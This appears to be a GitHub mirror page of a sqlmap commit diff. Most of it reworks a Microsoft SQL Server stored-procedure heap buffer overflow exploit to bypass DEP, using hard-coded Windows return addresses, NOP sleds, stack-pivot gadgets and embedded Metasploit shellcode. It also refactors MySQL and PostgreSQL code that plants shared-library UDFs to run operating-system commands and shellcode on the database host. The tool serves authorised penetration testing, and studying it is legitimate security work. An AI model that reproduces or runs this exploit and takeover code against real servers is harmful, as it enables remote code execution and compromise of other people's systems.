mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-10 09:49:06 +00:00
Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
This commit is contained in:
Bernardo Damele
@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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import binascii
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import os
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import time
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@@ -257,7 +258,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
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self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
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inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
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versions = {
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@@ -417,12 +418,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
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txtTbl = self.fileTblName
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hexTbl = "%shex" % self.fileTblName
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self.createSupportTbl(txtTbl, self.tblField, "text")
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inject.goStacked("DROP TABLE %s" % hexTbl)
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inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
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self.createSupportTbl(txtTbl, self.tblField, "text")
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inject.goStacked("DROP TABLE %s" % hexTbl)
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inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
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logger.debug("loading the content of file '%s' into support table" % rFile)
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inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
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inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
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# Reference: http://support.microsoft.com/kb/104829
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binToHexQuery = """
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@@ -593,22 +594,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
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inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
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def overflowBypassDEP(self):
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self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
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if self.bypassDEP == False:
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return
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else:
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warnMsg = "sqlmap tried to add the expection for "
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warnMsg += "'sqlservr.exe' within the registry, but will not "
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warnMsg += "restart the MSSQLSERVER process to avoid denial "
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warnMsg += "of service. The buffer overflow trigger could not "
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warnMsg += "work, however sqlmap will give it a try. Soon "
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warnMsg += "it will come a new MS09-004 exploit to "
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warnMsg += "automatically bypass DEP."
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logger.warn(warnMsg)
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def spHeapOverflow(self):
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"""
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References:
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@@ -617,83 +602,109 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
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"""
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returns = {
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"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
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"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
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}
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retAddr = None
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# 2003 Service Pack 0
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"2003-0": ( "" ),
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for version, data in returns.items():
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sp = data[0]
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address = data[1]
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# 2003 Service Pack 1
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"2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
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# 2003 Service Pack 2 updated at 12/2008
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"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
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# 2003 Service Pack 2 updated at 09/2009
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#"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ),
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}
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addrs = None
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for versionSp, data in returns.items():
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version, sp = versionSp.split("-")
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sp = int(sp)
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if kb.osVersion == version and kb.osSP == sp:
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retAddr = address
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addrs = data
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break
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if retAddr == None:
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if addrs is None:
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errMsg = "sqlmap can not exploit the stored procedure buffer "
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errMsg += "overflow because it does not have a valid return "
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errMsg += "code for the underlying operating system (Windows "
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errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
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errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
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raise sqlmapUnsupportedFeatureException, errMsg
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shellcodeChar = ""
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hexStr = binascii.hexlify(self.shellcodeString[:-1])
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for hexPair in range(0, len(hexStr), 2):
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shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
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shellcodeChar = shellcodeChar[:-1]
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self.spExploit = """
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DECLARE @buf NVARCHAR(4000),
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@val NVARCHAR(4),
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@counter INT
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SET @buf = '
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declare @retcode int,
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@end_offset int,
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@vb_buffer varbinary,
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@vb_bufferlen int
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exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
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DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
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EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
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SET @val = CHAR(0x41)
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SET @counter = 0
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WHILE @counter < 3320
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BEGIN
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SET @counter = @counter + 1
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IF @counter = 411
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BEGIN
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/* Return address */
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SET @buf = @buf + %s
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SET @counter = @counter + 1
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IF @counter = 411
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BEGIN
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/* pointer to call [ecx+8] */
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SET @buf = @buf + %s
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/* Nopsled */
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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/* push ebp, pop esp, ret 4 */
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SET @buf = @buf + %s
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/* Metasploit shellcode stage 1 */
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SET @buf = @buf + %s
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/* push ecx, pop esp, pop ebp, retn 8 */
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SET @buf = @buf + %s
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/* Unroll the stack and return */
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0xc3)
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/* Garbage */
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SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
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SET @counter = @counter + 302
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SET @val = CHAR(0x43)
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CONTINUE
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END
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SET @buf = @buf + @val
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/* retn 1c */
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SET @buf = @buf + %s
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/* retn 1c */
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SET @buf = @buf + %s
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/* anti DEP */
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SET @buf = @buf + %s
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/* jmp esp */
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SET @buf = @buf + %s
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/* jmp esp */
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SET @buf = @buf + %s
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
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set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
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set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
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/* Metasploit shellcode */
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SET @buf = @buf + %s
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SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
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SET @counter = @counter + 302
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SET @val = CHAR(0x43)
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CONTINUE
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END
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SET @buf = @buf + @val
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END
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SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
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EXEC master..sp_executesql @buf
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""" % (retAddr, self.shellcodeChar)
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""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
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self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
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self.spExploit = urlencode(self.spExploit, convall=True)
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@@ -33,7 +33,6 @@ from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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@@ -62,8 +61,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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"""
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def __init__(self):
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self.__basedir = None
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self.excludeDbsList = MYSQL_SYSTEM_DBS
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self.__basedir = None
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self.__datadir = None
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self.excludeDbsList = MYSQL_SYSTEM_DBS
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self.sysUdfs = {
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# UDF name: UDF return data-type
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"sys_exec": { "return": "int" },
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"sys_eval": { "return": "string" },
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"sys_bineval": { "return": "int" }
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}
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Enumeration.__init__(self, "MySQL")
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Filesystem.__init__(self)
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@@ -368,11 +374,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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logger.info(infoMsg)
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if detailed == False:
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self.cleanup(onlyFileTbl=True)
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return
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self.cleanup(onlyFileTbl=True)
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@@ -483,119 +484,94 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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logger.debug(debugMsg)
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
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inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
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inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
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if confirm == True:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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def udfInit(self):
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def udfSetRemotePath(self):
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self.getVersionFromBanner()
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banVer = kb.bannerFp["dbmsVersion"]
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dFile = None
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wFile = paths.SQLMAP_UDF_PATH
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lib = "libsqlmapudf%s" % randomStr(lowercase=True)
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# On Windows
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if kb.os == "Windows":
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wFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
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libExt = "dll"
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else:
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wFile += "/mysql/linux/lib_mysqludf_sys.so"
|
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libExt = "so"
|
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# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
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if banVer >= "5.1.19":
|
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if self.__basedir is None:
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logger.info("retrieving MySQL base directory absolute path")
|
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|
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for udf in ( "sys_exec", "sys_eval" ):
|
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if udf in self.createdUdf:
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continue
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
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logger.info("checking if %s UDF already exist" % udf)
|
||||
|
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query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
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if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
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||||
self.udfToCreate.add(udf)
|
||||
else:
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||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir == None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
|
||||
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
datadir = "."
|
||||
datadir = os.path.normpath(datadir.replace("\\", "/"))
|
||||
|
||||
if re.search("[\w]\:\/", datadir, re.I):
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
dFile = "%s/%s.%s" % (datadir, lib, libExt)
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
dFile = "/usr/lib/%s.%s" % (lib, libExt)
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#self.__datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
self.__datadir = "."
|
||||
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
if re.search("[\w]\:\/", self.__datadir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
if kb.stackedTest == False:
|
||||
|
||||
@@ -34,7 +34,6 @@ from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -63,6 +62,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF parameters' input data-type and return data-type
|
||||
"sys_exec": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
},
|
||||
"sys_eval": {
|
||||
"input": [ "text" ],
|
||||
"return": "text"
|
||||
},
|
||||
"sys_bineval": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
}
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "PostgreSQL")
|
||||
Filesystem.__init__(self)
|
||||
@@ -252,15 +266,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||
# patterns within the banner
|
||||
osWindows = ( " Visual C++", " mingw" )
|
||||
osWindows = ( " Visual C++", "mingw" )
|
||||
|
||||
for osPattern in osWindows:
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query += "LIKE '%" + osPattern + "%')>0"
|
||||
query = agent.forgeCaseStatement(query)
|
||||
|
||||
@@ -275,11 +289,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
@@ -408,7 +417,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
||||
# (pg_largeobject 'data' field)
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
@@ -416,13 +425,46 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
def udfSetRemotePath(self):
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if banVer >= "8.3":
|
||||
majorVer = "8.3"
|
||||
@@ -430,72 +472,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
majorVer = "8.2"
|
||||
|
||||
if kb.os == "Windows":
|
||||
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
libExt = "dll"
|
||||
self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
libExt = "so"
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
dFile = "%s.%s" % (lib, libExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
dFile = "/tmp/%s.%s" % (lib, libExt)
|
||||
|
||||
